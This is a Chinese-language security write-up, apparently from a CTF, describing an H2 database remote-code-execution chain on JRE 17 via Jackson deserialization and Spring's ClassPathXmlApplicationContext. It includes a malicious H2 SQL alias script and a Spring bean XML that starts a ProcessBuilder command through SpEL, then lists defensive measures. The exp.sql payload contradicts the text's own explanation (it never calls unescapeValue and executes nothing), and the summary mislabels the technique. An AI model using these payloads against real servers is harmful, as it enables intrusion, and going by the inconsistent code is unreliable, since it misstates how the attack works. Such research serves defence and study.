深入解析:高版本 JRE 下 H2 RCE 绕过新思路
字数 1280 2025-08-29 08:29:58
高版本JRE环境下H2 RCE绕过新思路深度解析
前言
本文详细分析在高版本JRE(特别是JDK 17)环境下如何绕过限制实现H2数据库的远程代码执行(RCE)。传统H2 RCE在JDK环境下较为容易利用,但在JRE环境下,特别是缺少javac命令时,需要采用新的绕过技术。
环境分析
目标环境特征
- 使用JRE而非完整JDK
- JDK 17版本
- 存在H2数据库依赖
- 存在反序列化漏洞入口
关键依赖
通过分析pom.xml文件发现:
- H2数据库依赖
- Jackson原生反序列化功能
漏洞利用链分析
基本利用链
- 反序列化入口:基础的反序列化路由,无过滤
MyDataSource类:用于触发H2的sink点- Jackson原生反序列化:通过调用getter方法触发漏洞
调用栈流程
readObject:309, EventListenerList (javax.swing.event)- 调用
toString:695, UndoManager (javax.swing.undo) - 通过父类方法调用链最终触发
writeValueAsString - 调用
DataSource的getter方法 - 通过JDBC操作触发RCE
JDK与JRE环境差异
JDK环境下
- 可直接使用
javac编译并执行代码 - 典型利用方式是直接弹出计算器
JRE环境下限制
- 缺少
javac命令 - 无法直接编译执行Java代码
JRE环境下的绕过技术
静态方法利用
参考思路来自NCTF 2024 Web Writeup,虽然缺少javac,但仍可调用Java的静态方法。
关键类:ReflectUtils
- 提供大量静态方法
- 可用于反射调用指定类方法或实例化类
- 是理想的利用点
具体绕过方案
使用ClassPathXmlApplicationContext类:
- 该类在实例化时可加载外部XML文件
- 题目环境出网,可加载远程恶意XML
- XML文件可包含SpEL表达式实现RCE
类型转换问题与绕过
问题描述
H2不支持JAVA_OBJECT与VARCHAR(CHARACTER VARYING)类型之间的直接转换。
解决方案
使用javax.naming.ldap.Rdn.unescapeValue方法:
- 接收String参数
- 转换为Object类型
- 静态方法调用
完整Payload构造
恶意SQL脚本(exp.sql)
CREATE ALIAS EXEC AS '
String r(String cmd) throws Exception {
javax.naming.ldap.Rdn rdn = new javax.naming.ldap.Rdn("a", cmd);
return rdn.toString();
}
';
CALL EXEC('恶意命令');
恶意XML文件示例
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
调用栈分析
- 加载远程XML内容
- 解析XML文件
- 实例化
ProcessBuilder - 执行恶意命令
- 成功实现RCE
防御建议
- 升级H2数据库到最新版本
- 限制反序列化操作,使用白名单机制
- 对JDBC连接URL进行严格校验
- 在JRE环境中移除不必要的类和方法
- 实施网络访问控制,限制出站连接
总结
本文详细分析了在高版本JRE环境下绕过限制实现H2 RCE的新思路,重点解决了缺少javac命令时的利用难题,通过静态方法调用和XML外部实体加载实现了完整的攻击链。这种技术对于安全研究和防御策略制定都具有重要参考价值。